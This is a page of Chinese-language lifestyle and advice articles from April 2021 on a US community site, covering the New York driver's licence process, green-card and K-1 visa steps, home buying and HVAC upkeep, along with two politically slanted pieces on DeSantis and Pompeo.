注:拿到MV-278或MV-285都可以预约路考,很明显的,PLC比较省时

5小时训练课程──在线教学

学习驾照持有人需年满18岁,才能选择在线教学,此在线课程是由DMV认可的供应商(可点击链接),通过「证前课程网际网路试点计划」所提供。在线教学和面授学习的课程内容相同。

在线课程分9个学习模块,每个模块最后会有简单的测验。每个测验必须答对至少70%,才能通过此课程。如果没有通过测验,每个测验最多可以尝试3次。
注:注册在线课程后的30天内,必须完成5小时训练课程。

完成在线课程后,不会收到纸质的结业证书。在线课程供应商会用电子邮件向DMV报告,大约需要24~48小时,DMV的驾驶员记录将会显示:已完成5小时训练课程。

第一驾校(718)-460-1388

法拉盛 汽车驾驶学校718-359-1963

2021-04-19 / by / in , , , ,
2021纽约驾照笔试、预约、路考 有哪些流程?要注意什麼?(上)

文|交通小伙伴

以全美而言,纽约市的公交已经算是最完善了!在纽约市开车、养车和停车,开销也挺大,但出了纽约市,还是得自行开车才方便。这时,你就需要考取纽约驾照,在美国,驾照不仅可当身分证,也能用在搭国内班机、住饭店、银行开户等。纽约驾照号称全美最难考,在纽约考驾照流程是什么?又有哪些需要注意的地方呢?以下为你提供申请、笔试资讯。

纽约驾照报名、笔试和路考等考照流程,皆由车辆管理局(Department of Motor Vehicles, DMV)负责。纽约州规定,16岁及以上、住在该州至少90天的居民,可以考取纽约驾照。

注:因疫情关系,所有在2020年3月1日或之后到期的驾照、学习驾照,至少可延长至2021年5月19日。(2021年4月26日更新)

考取驾照流程:

准备申请材料笔试 → 驾驶训练课程, → 路考 → 取得驾照

纽约驾照:准备申请材料

驾照申请表格(MV-44)。有中文版英文版(可点击链接下载、填写、打印),也可以到DMV索取、填写。

社会安全码(SSN)。如果没有社会安全码,还是有两种方法可以申请考驾照。

  1. 向DMV提交「表明无社会安全码的宣誓书」(NSS-1A),有中文版英文版(可点击链接下载、填写、打印)。如果通过邮寄提交,必须经一名认证公证人见证;如果亲自到DMV提交,必须让DMV人员见证下签署。
  2. 到社会安全局(SSA)申请一封无资格获得社会安全码的信(Ineligibility Letter)(有效期为30天)。

身分证明文件和纽约州居住证明。每种材料有不同分数,须提供相加至少6分的证明文件。详细材料可参考DMV官网(可点击链接)或到当地DMV免费领取《纽约州驾驶员手册》。

要考取纽约驾照,需提供相加至少6分的证明文件,有效的外国护照占3分。

常见的文件如下:

4分:有效美国护照。

3分:有效外国护照、公民证书或入籍证书、绿卡(I-551)。

2分:社会安全卡或Ineligibility Letter。

1分:美国信用卡、医疗保险卡、含有名字和住址的美国银行账单(前往DMV之前,120天内签发)、含有名字和住址的公用事业账单(例如水、电、手机等,前往DMV之前,1年内签发)或租屋合同(前往DMV之前,1年内签发)。

注:同一分数的证明,只能算一件,分数不能相加,例如3家不同银行的账单,只算1分。

美国许多交通法规和国内不同,要认真阅读《纽约州驾驶员手册》。

阅读《纽约州驾驶员手册》

虽然纽约州的笔试可以选择中文,但语法不易阅读,网上的中文题库也很久没有更新。建议小伙伴们直接准备英文笔试,DMV官网的《纽约州驾驶员手册》(可点击链接)分成12章节,也有提供测验。笔试题目也都是从这些测验中出的。

小编还是建议大家要认真阅读《纽约州驾驶员手册》,毕竟美国许多交通法规和国内不同。为了避免意外发生、被警察开罚单,务必详读后再上路!

纽约驾照筆試內容共20題選擇題,答對至少14題,才算合格。

纽约驾照:预约、前往DMV笔试

受疫情影响,虽然大多数DMV办事处已重新开放,但目前采取预约制

部分DMV办事处没有提供笔试,在出发之前,最好先查询DMV各办事处(可点击链接)资讯。

注:因疫情关系,前往DMV须戴上面罩,包括布、外科口罩、N95口罩等。并尽可能与其他人保持6英尺的距离。

带上考照所需申请材料前往DMV,并进行视力测验,若有眼科医师提供的「视力测试报告」(Vision Test Report)(MV-619(可点击链接下载、填写、打印),则可以免测。

笔试前,DMV人员会在现场帮你拍大头照,这将是未来驾照上的照片,建议出发前整理好仪容。

笔试分为机考或笔考,笔试内容共20题选择题,答对至少14题(其中4题关于路标的问题,须答对至少2题),才算合格。

注:因疫情关系,纽约州的普通驾照(D类)笔试和摩托车驾照(M类)笔试,全面开放网考,允许民众在家考试。

你可以在DMV建立个人帐号,上传所需的文件、选择驾照类型,随即可收到附有网考连结的电子邮件。

网考共50题选择题,约30分至1小时可完成考试,答对至少35题才算合格。

通过网考笔试的申请者,会收到电子邮件。必须先预约后,才能前往DMV办公室拍照,并完成申请流程。

缴纳费用为64.25~120美元,视申请者的年龄、驾照类型和居住地点而定。一般申请普通驾照(D类)的人居多,21岁以上的申请人,费用为64.25~77.5美元。可以用现金、信用卡、借记卡、支票或汇票支付。

随后即可拿到一张临时的学习驾照(Learner Permit),大约2周内就能收到正式的学习驾照。

如果笔试没通过,可以再预约时间补考。第2次笔试毋须收费,第3次笔试则需额外缴费。

学习驾照的有效期限,根据申请者的年龄和其它情况而定,一般不超过5年。

学习驾照不能延期,小伙伴们记得在过期之前要参加路考,否则必须重新参加、通过笔试,才能再拿到学习驾照。 (下集待续)

注:因疫情关系,所有在2020年3月1日或之后到期的驾照、学习驾照,至少可延长至2021年5月19日。(2021年4月26日更新)

第一驾校(718)-460-1388

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2021-04-19 / by / in , , , , , ,
为何76个全现金买家争相出价 买这个破房子?

全美房地产市场,在疫情之后延烧不断​​,而且因为库存量一直少得可怜,但需求量却不断涌进,造成价格攀升。另外股市上扬、政府印钞票、美联储量化宽松政策等等因素,致使房市得不到冷却。以下就来分享一个美东房地产的案例:

今年三月在华盛顿DC的郊区Silver Spring(银泉),一个上市房收到了88个报价,76个是全现金! Ellen Coleman是卖方经纪人,在周四上市,周日晚上她就陆续接到潮水般的offers,而且有15个买家根本没有看到房子。

美东房产:房产位在华盛顿DC郊区的Silver Spring,需要大整修的厨房。 (bright MLS)

从街景来看,房产并没有特别之处。 (google街景)

这个房产是四卧房,1800平方呎,开价27万5,卖出46万,比要价多出近70%。 Coleman说,得标者是一个投资者,出价不是最高,但提供全现金,而且没有附带意外退出条款,有做好该有的文书工作。 Coleman也说,通常她的上市房可以收到15报价,但这次是在她15年的职业生涯从没有发生过的事情,库存量实在太少了。

从街景来看,这个美东房产所在地社区干净整洁。 (google街景)

为何收到这么多报价?从这个房子的所在地分析,第一个库存少,第二个她的location算不错,靠近DC,环境清幽整洁,周边的房产根据zillow网站的评估,都有六十几万的价位,而且面积都比她小,所以这位卖方经纪等于是用超低开价来钓鱼,没料到竟钓出88尾来抢食,当然这个房产的屋况也很差,所以经纪人也知道,买方势必要大整修一番,甚至推倒重建,所以开价低也是合理的。

这处Silver Spring的房产所在社区都是六十多万的估价。 (Zillow)

预估不久后这栋房子就会以全新面貌重新上市,有兴趣的人不妨可以等候看看,至于价格势必会超过七十万,也很可能到八十多万,要有心理准备。

资料来源:美国地产热点视频:第14集(版权获作者同意)

纽约房地产、美东房地产交易 欢迎洽询

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2021-04-19 / by / in , ,
这样的手刹习惯伤车很严重 五个小技巧呵护你的爱车
文|无疆行者

手刹在日常用车时使用频率非常高,只要开车出门就会用到手刹。小伙伴们爱护你的座驾,就要养成正确良好的使用手刹的习惯喔~

有些急性子的车主,车还没停稳呢,手刹就拉起来了。也有人呆头呆脑的,手刹还没有放下来就开始行车了,这样的神操作对手刹系统的损害非常大。今天行者总结了几条有关机械手刹和电子手刹使用需要注意的事项,希望能对您有所帮助。

座驾是机械手刹的朋友需要注意:

1、不要长时间坡道拉手刹驻车

(Erik Mclean/Pexels)

长时间坡道停车,光靠手刹驻车会加速手刹拉线的磨损。正确做法是停车后先用手刹驻车,然后在朝向坡底一侧车轮的前沿放个砖头之类的固定,释放手刹让受力转移到车轮上再拉起手刹。

2、不能拉的太紧

机械手刹在日常使用中切记不要拉的太紧,因为金属拉线过度拉伸或者长时间保持拉伸会加速其变形老化,导致手刹变松或者拉线断裂。正确的做法是,拉起手刹直到后轮抱死再向上提1、2格,保证不溜车就行。

3、冰雪天后和冬天洗车后不要拉手刹

冬季的冰雪路面行使后,拉手刹可能会被积雪冻住,造成车辆无法行驶。另外,冬天洗车时也要注意不要拉手刹,可以用挡位或者砖头代替手刹驻车。

4、紧急情况下,手刹的使用方法

如果车子在高速行驶的时候发现刹车失灵,这时千万不要直接拉手刹,这样很容易导致后轮抱死,刹车的钢丝断裂,还可能会发生车辆侧滑甚至侧翻。

正确的做法是,尽量保持镇定,松开油门,降档,当车速降到较为平稳的状态,车速明显下降的时候,再用多次拉手刹的方法把车子停下。

电子手刹需要注意的事情

对于自动挡同时又配有电子手刹的车型来说,在带有坡度的地面上停车时,一定要先使用手刹将车固定住后,再将变速箱挂入P挡,减轻变速箱的负担,防止P挡琐止闩卡住导致无法正常解锁。

另外,电子手刹使用的是电子卷线器,其在收紧和释放过程中要有相应时间,一般0.5-1秒,比机械的略慢些。虽然只有1秒钟,但是如果在手刹还没有完全释放的情况下,脚快的车主就把油门踩下去的话,这样也会造成手刹系统的提前老化、损伤。

需要注意,假如车子突然没电了、电瓶烧了或者短路了,那么电子手刹也将随之失灵。


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2021-04-19 / by / in , , ,
你是美国公民吗?想帮亲属申请绿卡看这里详解(下)

文|懂你的小伙伴

亲属申请绿卡接续上篇,当你完成DS-260后,你和与你的家庭成员(移民者),每个人都必须收集支援签证申请所需的民事档案。

亲属移民 准备民事档案(Civil Documents)

您的民事档案必须由您所在的国家/地区的官方发行机构签发,这部分请参考官网上的Document Finder 以了解每个国家/地区的民事文件要求。

请注意,所有非以英文书写的档案,都必须附有经过认证的翻译,翻译必须包含翻译者签名的宣告,宣告:翻译是准确的,并且译者有能力翻译。

关于遗失档案的重要通知:如果根据特定国家/地区的准则缺少所需的档案,则无需将档案扫描到领事电子申请中心(CEAC)中。但是,如果由于其它原因,而无法获得所需的文件,则在扫描其它文件时必须向国家签证中心(NVC)提交详细的书面说明。在签证面试过程中,领事官员将确定你是否必须在签证签发之前,获取丢失的证件。通常,任何在特定国家/地区指南中列为“可用”的档案都必须由领事官员审查。无法获取所有必需的档案将延误你的案件。

收集完所有必需的文件后,必须扫描并储存这些文件。

除非国家签证中心(NVC)明确指示这样做,否则请勿将任何档案邮寄给NVC。如果这样做,将会延误您的案件处理,并可能会丢失您传送的所有档案。

亲属移民 如何扫描民事档案?

并且,为了确保案件在处理过程中不会出现延迟,在扫描文件时要遵循以下准则:

要求:
・可接受的档案型别包括.pdf(首选).jpg和.jpeg。
・每个单独的档案(扫描的文件)不得大于2 MB(megabytes)。
・将一个多页文件(例如I-864)扫描并上传成为为一个档案,如果文件大小大于2 MB,就必须缩小档案。
・“压缩”档案、可修改的PDF或受密码保护的档案将不被接受。

文件要清晰,不需要再旋转。(美國國務院官網)

文件需彩色,不能使用黑白扫瞄。(美國國務院官網)

如果在背面带有图章、标记或文字,都要连同正面一起扫描。(美國國務院官網)

画面质量:
您的扫描必须:
・彩色,不能使用黑白扫瞄。
・如果在背面带有图章、标记或文字,都要连同正面一起扫描。
・将您的文件的认证译文与原始(即外语)文件,一起包含在一个档案中。
・文件要清晰,易于检视和阅读,并且文件的任何部分都不能被剪掉。
・文件方向要正确,不需要再旋转。

申请亲属绿卡 提交民事档案

确认扫描的民事当案都都符合上述条件之后,接着你必须要上传,并随申请一起提交的所有民事档案带到签证面试中。

要提交档案,就要登入CEAC,进入”支援档案和民事档案的宣誓书”下的“立即开始”按钮。当您上传完每个部分所有必需的档案后,才能按“提交档案”。除非,你已为每个人上传了所有必需的档案,否则“提交档案”按钮将不起作用。一旦您按“提交档案”,您的案件将被排入国家签证中心(NVC)进行审查。

要确定NVC当前正在审核哪些情况,要参阅NVC Timeframes页面。

NVC审查您的案件后,你就将收到一封电子邮件。

申请亲属绿卡 准备面试

如你是申请直系亲属类别,将会在两到三周内收到签证中心的面谈通知。如果是非直系亲属类别,约在五到六周内会接到面谈通知。

国家签证中心(NVC)安排您的签证面谈预约后,他们将向你和你的申请人,和你的代理人/律师(如果适用)传送一封电子邮件,告知你预约的日期和时间。收到NVC的面试预约信后,您必须在面试日期之前采取以下步骤。

1.安排并完成体检
你和你的申请人,都必须安排与授权医生进行医疗预约。这项检查必须与使馆批准的医生(也称为专家组医师)一起进行,由其他医师进行的检查将不被接受。你必须在安排的签证面谈日期之前,完成体检,以及所有必要的疫苗接种。请访问我们的美国大使馆和领事馆列表,以了解特定国家/地区的体格检查说明。

检查后,专科医生将把结果直接传送给大使馆,或者给您一个密封的信封。如果医生给您一个信封,请不要开启它,而要将其带到您的签证面试中,并交给领事官员。

2.注册快递服务、其它面试指导

3.收集面试所需的档案
每个签证申请人,无论其年龄如何,都必须携带某些档案(包括照片)和面谈的所有资料,以及提交给NVC的所有民事档案的原始副本,或经认证的副本。无需携带支援宣誓书或你提交给NVC的财务证明。

如果,你忘记携带列表中的某些东西,领事官员将无法完成你的签证处理。你将需要收集丢失的物品,并将其提供给使馆或领事馆,并且可能需要进行额外的面谈。

面试之前,要确保您已按照美国大使馆或领事馆面试准备说明进行操作。

在你安排面试的预定日期和时间,透过列印的签证申请(DS-260)确认页面转到美国大使馆或领事馆。领事官员将与你,以及陪同的家人进行面谈,并确定是否有资格获得移民签证。

申请亲属绿卡 面试要携带的文件

申请人有责任将所有要求的原始或经核证的民事档案带到签证面试中。你必须携带以下档案参加面试:

预约信:您从NVC收到的面试预约信。
护照:每位申请人的护照至少有六个月的有效期
照片:每位申请人两张相同的彩色照片,必须满足一般照片要求。
DS-260确认页
支援档案:您上载到CEAC的所有民事档案的原始或经认证的副本。
面试完成后,您的原始档案将退还给您。提供的任何影印本都可以保留。

亲属移民 面试之后等待通知

如果获得签证批准,签证中心会通知你,如何以及何时将护照和签证还给你。在收到移民签证之后和前往美国之前,你还必须向美国公民及移民服务局(USCIS)支付USCIS移民费。在你支付费用之前,USCIS不会发行永久居民卡(I-551表格或绿卡)。

如果很不幸,签证被拒,领事馆官员会通知你,不符合签证条件的原因。根据美国法律,并非所有申请签证的人,都有资格或有资格赴美国签证。根据美国法律,许多因素可能会使申请人没有资格获得签证。

以上步骤在移民律师的指导下,将会更加清晰、方便进行,您与家人只要尽可能在律师指导下,提供需要的资料、档案,相信不会太困难。当然,假如有某些需要克服的条件较难达成,例如担保人问题、财务问题,也需要听从律师的指示一一达成有利的条件,才能增加移民成功的机会。

最后就祝您一切移民申请顺利,与家人能在美国团员!#

声明:本文非法律文件,仅作为一般性参考内容,不勿以此为依据提出法律诉讼或任何证明,我们不做任何形式的责任。申办移民时请读者向合格律师提出咨询,请求专业服务。

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2021-04-18 / by / in ,
疫情之下安全开放 佛罗里达打造“自由的绿洲”
文|无疆行者

去年9月25日,在疫情还非常严峻的时候,佛罗里达州州长罗恩•德桑蒂斯(Ron DeSantis)力排众议全面重新开放了该州。

尽管当时德桑蒂斯受到各类媒体和很多选民的激烈批评,甚至还有很多关于佛罗里达疫情的可怕预测,但是今天德桑蒂斯已经被证明是正确的。2021年4月1日,佛罗里达州在人均死于中共病毒的所有州中排名第27位。4月11日,该州与COVID-19(中共病毒)有关的每日死亡人数,几个月来首次下降到个位数。

去年4月1日,在全球对中共病毒疫情的爆发感到恐慌之际,德桑蒂斯曾发布了一项全州范围的防疫居家禁令,实施了30天的封锁措施。在封锁令过去之后,德桑蒂斯开始分阶段重新开放该州。

近日,德桑蒂斯在接受《大纪元时报》采访时表示,包括在他自己的州所实施的封锁防疫措施,是一个“巨大的错误”。

佛罗里达州共和党州长罗恩·德桑蒂斯(Ron DeSantis)。(Wikimedia Commons)

德桑蒂斯说:“当时我们希望减轻损失。现在,在事后看来,试图减缓疫情传播的15天的(封锁措施)和30天的都没有起到作用。”“我们不应该走那条路。”

在重新开放的每个阶段,德桑蒂斯都面临着来自媒体集团和他自己的选民的激烈批评。但是德桑蒂斯确信,继续实施封锁令,是在延续一个具破坏性的错误。

2020年9月25日,他全面重新开放了佛罗里达州。作为冬季激增的一部分,当感染病例数量开始上升的时侯,他也没有重新实施任何限制令。封锁防疫措施的支持者们预测,该州前景黯淡。但德桑蒂斯坚持了自己的立场。

州长德桑蒂斯的坚持并不只是信念的放飞。在佛罗里达州于9月底全面重新开放后不到两周,来自斯坦福、哈佛和牛津的科学家们公开发表了《大巴灵顿(麻萨诸塞州)宣言》(Great Barrington Declaration),称封城防疫是一种具破坏性和徒劳无功的疫情缓解措施。这份由13985名医学和公共卫生科学家签署的声明,呼吁政府官员采取更有针对性的保护措施——这正是德桑蒂斯所采用的策略。

现在德桑蒂斯已经被证明是正确的。2021年4月1日,佛罗里达州在人均死于中共病毒的所有州中排名第27位。染疫死亡人数占所有死亡人数的百分比为9.7%,远低于加州的12.6%和美国的平均水平12.2%;特别值得注意的是,佛罗里达州的老年人人口比例是全美最高,而且它没有像加州、纽约等对疫情实行封锁和严格限制。

疫情之下自由开放的佛罗里达海滩。(Pixabay)

但与加利福尼亚州和纽约州的严重受损的经济相比,佛州的经济正在蓬勃发展。目前佛罗里达州的失业率为4.7%,而全美国的失业率为6.2%。纽约州、新泽西州、宾夕法尼亚州和加利福尼亚州等,这些实施了严格封锁措施的州的失业率,在全美国都名列前茅,分别为8.9%、7.8%、7.3%和8.5%。

佛罗里达州有接近100%的学生可以进行面对面学习,加州这一比例只有5%,而且加州的病毒儿科感染病率还更高。

疫情之下自由开放的佛罗里达海滩。(Taylor Deas-Melesh/Unsplash)

因为封锁令而导致的自杀、心理健康问题、被推迟的医疗和阿片类药物滥用所带来的死亡人数,无疑是巨大的。

德桑蒂斯说:“这是一个巨大的政策错误。”

他补充说:“我所要做的就是跟着数据走,只是有勇气被宣传攻势撕咬,并与媒体抗争。”“当人们打我的时候,我说的是,我宁愿他们打我,也不愿有人失去工作。我宁愿让他们打我,也不愿让孩子们被学校拒之门外。我完全愿意承受一切压力,因为我们在做正确的事情。”

德桑蒂斯说:“如果我们没有站出来,有些人可能会没有工作,企业可能已经破产,孩子们不会在学校里学习,我不能让这一切发生。” “在一个四处都是压制性封锁的国度里,现在我们正处于一片自由的绿洲当中。”

2021-04-18 / by / in , , , , ,
在美国购房注意什么问题?这8个方面很重要

文|雨荷

在美国买房,不管是投资还是自住,选择好地段很重要。选择好地段后,还要确定房屋类型,做好万全的考虑和准备,才能顺利的买到心仪的房子。这样就建议找一些经验比较丰富的房产经纪人。找到以后可以告诉她你的是需求,并且和他们一起去看房子。

这里首先要关注的是看房登记者和顺便了解一下还有多少人也对这家房产感兴趣,越受欢迎竞争越激烈。其次要观察一下房子周边有没有墓地、火葬场和工厂。一般买家会避免这些地方离房产太近。问清楚熟悉该地区的经纪人就知道房子的周边的情况和正确的信息。

还要看一下房子周围有哪些商场超市、有几个公交站,有多少餐馆,有多少娱乐设施等,如果条件允许,可以步行或者开车计算一下路程。

餐厅 示意图。

娱乐设施也很主要,比如遛狗公园,网球场、游泳池、高尔夫、各种协会,比如足球等。购物方便也很重要,包括生活用品、餐馆、购物中心等;有的人还喜欢周围有企业,工作好找,上班也方便;医院等一些配套设施;配套设施远近程度决定了生活的便利程度。

看房8个方面:

1.门窗

检查需要注意窗户是否已更新为自己制定的材质。在没有特殊要求下,都会使用UPVC窗户。因UPVC是免维护窗户,而且经久耐用。如果窗户的纱窗是外置的,一定要仔细检查质量,否则真的掉下去出现事故,那业主的责任是绝对跑不掉的。同时,窗户的密封性也要检查清楚,不然下雨的时候,水进来时很麻烦的。

2.厨房

厨房内的地板、厨具柜、水槽、台面和铺设的瓷砖都是检查的细节。厨房电器如果很旧需要更换,虽然没有空调和热水炉櫃,但是炉灶、洗碗机、微波炉、烤箱,加在一起也是一笔不小的开支。

厨房 示意图。

3.浴室

检查浴室时,需注意四周墙面是否光滑处理、有没有安装新马桶、所有管道是否存在渗漏与堵塞的情况,如果有,是否有更新。最后,需检查地板是否有重新铺设。

4.地面

在检查卧室与起居室时,需留意有没有铺设新地毯。如果是实木地板,有没有进行砂纸磨光;而在厨房和浴室这些铺设瓷砖的地方,则特别需要注意现在地面瓷砖的质量是否完好。

5.地下室

在验房时,好好检验下地下室的质量,地基是否有被破坏或下沉现象,地板及墙面是否有渗水现象,这样很有可能会造成地陷,对人身安全造成不必要的影响;要看空调组件、热水炉这些电器是不是到了该更换的时候。

6.屋内的味道

有些房子会有一些不好的味道,比如烟味。有些做饭的味道,像咖喱味。地下室是不是会有很潮的味道。

房子 示意图。

7.水压

水压低是影响淋浴的,同时还意味着可能伴随锈蚀、管道积垢或其他严重问题。看房时打开所有水龙头,了解水压情况是查看水压是否有问题的好办法。

8.房子外观、有无漏水

房屋外观状况是否良好,墙板是否有损坏,屋顶瓦片是否松动。排水管和排水沟是否有破损和堵塞。房子的漏水通常是从屋顶和屋内的水管中漏出来的,也包括空调管道的漏水。多注意天花板上是否有水渍。

2021-04-18 / by / in , , , , , ,
K-1签证全解析 美国公民的未婚配偶签证
文|无疆行者

K-1签证是美国公民为海外未婚夫(妻)办理来美最快速的途径之一。K1签证属于美国婚姻签证的一种非移民签证类型,是为了方便申请人和美国公民结婚而颁发的一类签证。本文详细为您介绍美国K1签证申请资格要求、申请材料、流程时间和费用等问题。

一、K1签证申请资格要求

1.美国公民的一方愿意开始申请

2.双方真心相爱

3.在过去的两年中,美国公民和中国未婚配偶曾彼此会面

4.美国公民和中国未婚配偶打算在入境后90天内结婚

5.美国公民和未婚配偶双方皆非处于已婚状态。

6.美国公民一方有稳定的收入来负担彼此开销,并且该收入超过了《联邦贫穷标线》。

二、K1签证赴美结婚转换身份的基本步骤

申请K1 签证通常分为:P1, P2,P3,P4几个时间点。

P1阶段:美国公民提交申请阶段

美方申请人需要的材料

1.美国申请人护照复印页1份;

2.美方申请人的照片1张,美方申请人在申请前30天内拍的护照规格照片。

3.美国申请人的出生纸复印件 (如果是离异,最好附上离婚证复印件。)

4.美国申请人写的结婚意向书(写明交往过程及入美后90天内会与中国受益人结婚)。

5.两年内见过面的证据,如中国签证页,机票的登机牌,两人的合影,家人合影,聊天记录之类,总之所有可以证明你们关系的材料。

6.美国申请人填写的I-129表格F

7.I-134表格(Evidence of financial support, 财力证明, 需要准备2份并且签名)

8.G-1145表格(E-Notification of Application/Petition Acceptance,递交之后会收到短信/Email )

9. $535美元的支票

P2阶段:申请审核阶段

美国的申请人将材料寄出以后,就会进入漫长的等待期,主要是看移民局的效率和工作量,一般需要3到8个月,就会收到了美国驻广州总领馆发来的包裹。

P3阶段:收到广州总领馆包裹+邮寄材料

收到包裹以后,请大家按照要求整理好材料并且寄回美国驻广州总领馆。

材料清单:

1:DS-160表格

2:护照个人信息页的复印件。

3:签证照片2张。

4:含有Case number的纸张。

把以上所有材料邮寄回广州总领馆后,大家在等待面签前还有一些准备工作:

1:预约体检(体检要根据领馆提供的指定医院,不能自己找,并且体检报告不要自行开封)。

2:面签费缴费(中信银行网站即可缴费)

2:无犯罪证明及公证。

3:出生证明及公证。

4:未婚证明及公证。

P4阶段:准备面签

收到来自广州总领馆的邮件,到了最后一步面签了。大家一定要在去之前,仔细检查并带好所有的材料!需要注意的是,所有K-1签证在国内的面试地点都统一在广州。

材料清单:

1.面签信

2.DS-160确认页

3.有效期至少半年以上的护照

4.两人关系证明(各种照片信件,机票等等)

5.体检报告

6.出生,无犯罪,未婚证明以及公正

7.双方经济担保材料(美方申请人的I-134表原件,最近1—2年的税单,雇主信,最近12个月的银行statement)

8.签证照2张

9.签证费缴费收据

K1面签通过以后,大约一周左右就会收到广州总领馆的签证资料了。

三、面谈中可能会问什么样的问题?

在总领馆面谈中,官员将询问配偶关系和查验证明文件。

一般常见问题是:

• 当初如何认识的?

• 谁先邀请对方出去?

• 怎么订婚的?

• 美国公民配偶的全名,出生日期和地址是什么?

• 美国公民父母的名字是什么?

• 美国公民配偶是否曾经有过婚姻?

• 美国公民配偶做什么工作?

• 美国公民配偶是否有任何孩子?他(们)叫什么名字?

• 您打算在美国住哪里?

除了上述问题外,在USCIS绿卡面谈,可能还会询问以下问题:

• 婚礼和蜜月如何?

• 婚姻生活如何?

• 你们见过对方的家人吗?

• 美国公民配偶在哪里工作?

• 谁做饭?而且,通常煮什么?

• 配偶什么时候下班回家?

• 谁处理财务?付账单?

• 官员可能会询问被带到面试中的配偶照片的故事,以证明他们之间存在持续的关系

• 官员可能会询问婚礼证人

需要特别注意,通过K1签证进入美国以后,必须在90天之内完成结婚并且进行身份转换,即申请美国绿卡,超过1年未申请则婚姻失效,K-1签证受益人必须从美国离境,否则就会变成逾期非法滞留。

注:本文的内容不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯的专业人士。


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2021-04-17 / by / in , ,
冷气暖气耍脾气 专家教你驯服 纽约空调维修找这里

文|雨荷

在美国供暖和制冷对一般家庭来说是一笔不小的开支。若能对暖气设备进行及时维护和保养,提高暖气发挥正常性能和空调正确的操作和处理,节约的费用是很可观的。

房屋取暖系统类型

1.电暖:使用电力来加热器取暖,没有其他设备。优点是安装简便并可分房间单独控制温度,但是取暖费用较高。

2.水暖:是在地下室安装一个热水锅炉,使用油或天然气来加热水,进行循环来加热暖气片。优点是升降温度缓和,无噪音而且室内不是特别干燥,可单独控制每个暖气片的温度。

3.气暖:暖气是设置在地板,墙壁或天花板上的通气格栅,要有管道送暖风,和一个中央暖风系统吹风。对整个房子里循环后的空气进行再加热。优点是容易控制温度,升温快,室内空气循环流动,这种系统成为最佳加热系统。

取暖系统 示意图。

提高暖气发挥正常性能

 1.暖气滤网:每个月至少清洗或更换滤网一次,并且每隔几周就检查滤网是否干净,或依照暖气制造商建议的方式更换清理。

2.散热器或出风口:每隔一段时间就应清理散热器或出风口,并确保没有被家具、地毯、窗帘等挡住。

3.调节温度器:使用智能型恒温器,安装一个可调节的温度器,把室内温度调整到适合的程度即可,在睡觉及出门时,温度适当调低。

4.使用加湿器:加湿器可使家中温度提高。而且暖气会使房间内变得干燥,使用加湿器增加室内湿度,滋润干燥空气,使空气更加清新,保障家人的健康。

5.暖气放水:使用热水循环供暖系统,暖气每季应放水一次,将散热片中的水或空气放出来,以免空气或水中杂质影响热水循环。如果不清楚如何操作,应咨询专家。

6.时常打开窗户:冬天白天可将窗帘及百叶窗打开,让阳光可以照进屋内;在夜里则关上以减少冷空气进入。

百叶窗打开 示意图。

7.放置反射垫:在外墙及散热器之间放置隔热反射垫,以减少热量流失。

家庭空调的维护,设备的操作和处理 

一:更换空调过滤网:空调在开启的时候,室内的空气一直在不停地循环,过滤网会慢慢的越来越脏,需要定期的去更换新的过滤网。

二:空调的分管:空调工作的时候,室内的空气经过回风口进去到机器,再通过风管送到各个房间。

有些人觉得管子里面会不会很脏,需要去清理?空气在循环的时候会把一些灰尘带到管子里面,如果管子里面已经存在的灰尘,在开启空调的时候,如果能很轻易地吹出来,那说明已经吹走了。没吹出来的,也不会那么容易的吹到人的鼻子里面。

当然开启空调的时候,里面已很明显的灰尘,或者说有很明显的异味,就需要请专业的公司来做清理。建议大家在每年四月份的时候,天气有点热时,打开冷气试一下,空调是否能够正常的工作。不要等到天热再去请空调公司的人来维修,不容易请到人。

 三:空调的室外机:室外机功能主要就是散热,它的周围长满了杂草或堆一些杂物是不不行的,要保持干净、整洁、通畅;建议把空调室外机围起来,如果动物在上面撒尿,会很快把里面的散热片给腐蚀掉了;空调的室外机放在外面,即便是风吹、日晒雨淋都没有关系的,因为就是这样设计的。

四:空调的冷媒:空调用了很多年了,需要加冷煤吗?空调的冷不像汽车的机油,每到几千迈就要换一次。它在理想的情况下是密封在里面的,如果没有出现故障或漏掉,会一直在里面,是不需要加冷煤的。夏天的时候正常的开冷气,如果感觉正常有冷风,就不用加。

空调不工作一般存在两种情况

电闸:首先去外面检查一下的室外机电闸,有可能开关跳闸了。打开电闸开关。会看到一排黑色的开关,ac就代表空调是空调的开关。如果看到这一排黑色的开关,这些都是在靠左边,其中一个再靠右边,很明显它跳闸了。空调的室外机在工作时可以听到声音,里面的风扇在转动,再去室内感受有冷气吹出来就可以了。

换电池:把空调的温度控制器旧的电池取下来,把用新的电池按原样装上去,看好电池正负极装上去,然后重新按开启冷气,就可以正常工作了。

如果还是室外机还是不工作,或者是即便在工作,用手感受这里还是依然没有冷气,那就建议去找专业的冷气维修公司来帮您做诊断。

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2021-04-16 / by / in , , , , ,
前国务卿彭培奥发表讲话,信仰与外交政策对我们共和国很重要

文|雨荷编译

前国务卿彭培奥(Mike Pompeo):被擦洗掉信仰的公共广场是一个较小的空间,不受历史和价值观,纪律和爱的束缚,并且容易受到委身,腐败,只为维护自我权力而专心维持权力的领导人。

早在2010年,我就参加了代表堪萨斯州中南部参加美国众议院竞赛。有记者问我怎么处理我的宗教信仰,我的角色,代表许多信仰和许多传统的人民选举产生的官员。我简单但直接的回答使他大吃一惊:“我的信念告诉我所做的一切。我对自己的角色和工作的理解以我作为基督徒的身份为指导。” 记者有点震惊,说:“但是那是怎么回事呢?” 我重申,“如果我当选,我的职责是从敌人,国外和国内捍卫我国宪法。但如何实现即对每一个民选官员,重要的; 对我来说,我的信仰是我本人的核心。”

在我担任公共服务期间,在许多不同的论坛中都发生过多次类似的交流。当我以国务卿身份发言时,我向所有人明确表示,我的工作是确保美国自由-美国第一。然而,我对美国建国的理解,对全世界所有人民扩大宗教自由的承诺以及对人权的关注,都源于我们都是按照上帝的形象被创造,并被他赋予了不可剥夺的权利和知识。在上帝眼中都是平等的。

彭培奥(Mike Pompeo)

正如上帝呼召我们一样,也呼召我们认识到每个人固有的尊严。如果一个人不为那些因信仰而受到尊严损害的人采取行动,就不会有人相信所有人的尊严。在许多地方,例如中国,伊朗,朝鲜和古巴,仍然存在宗教迫害和压迫是规范而非例外的情况。

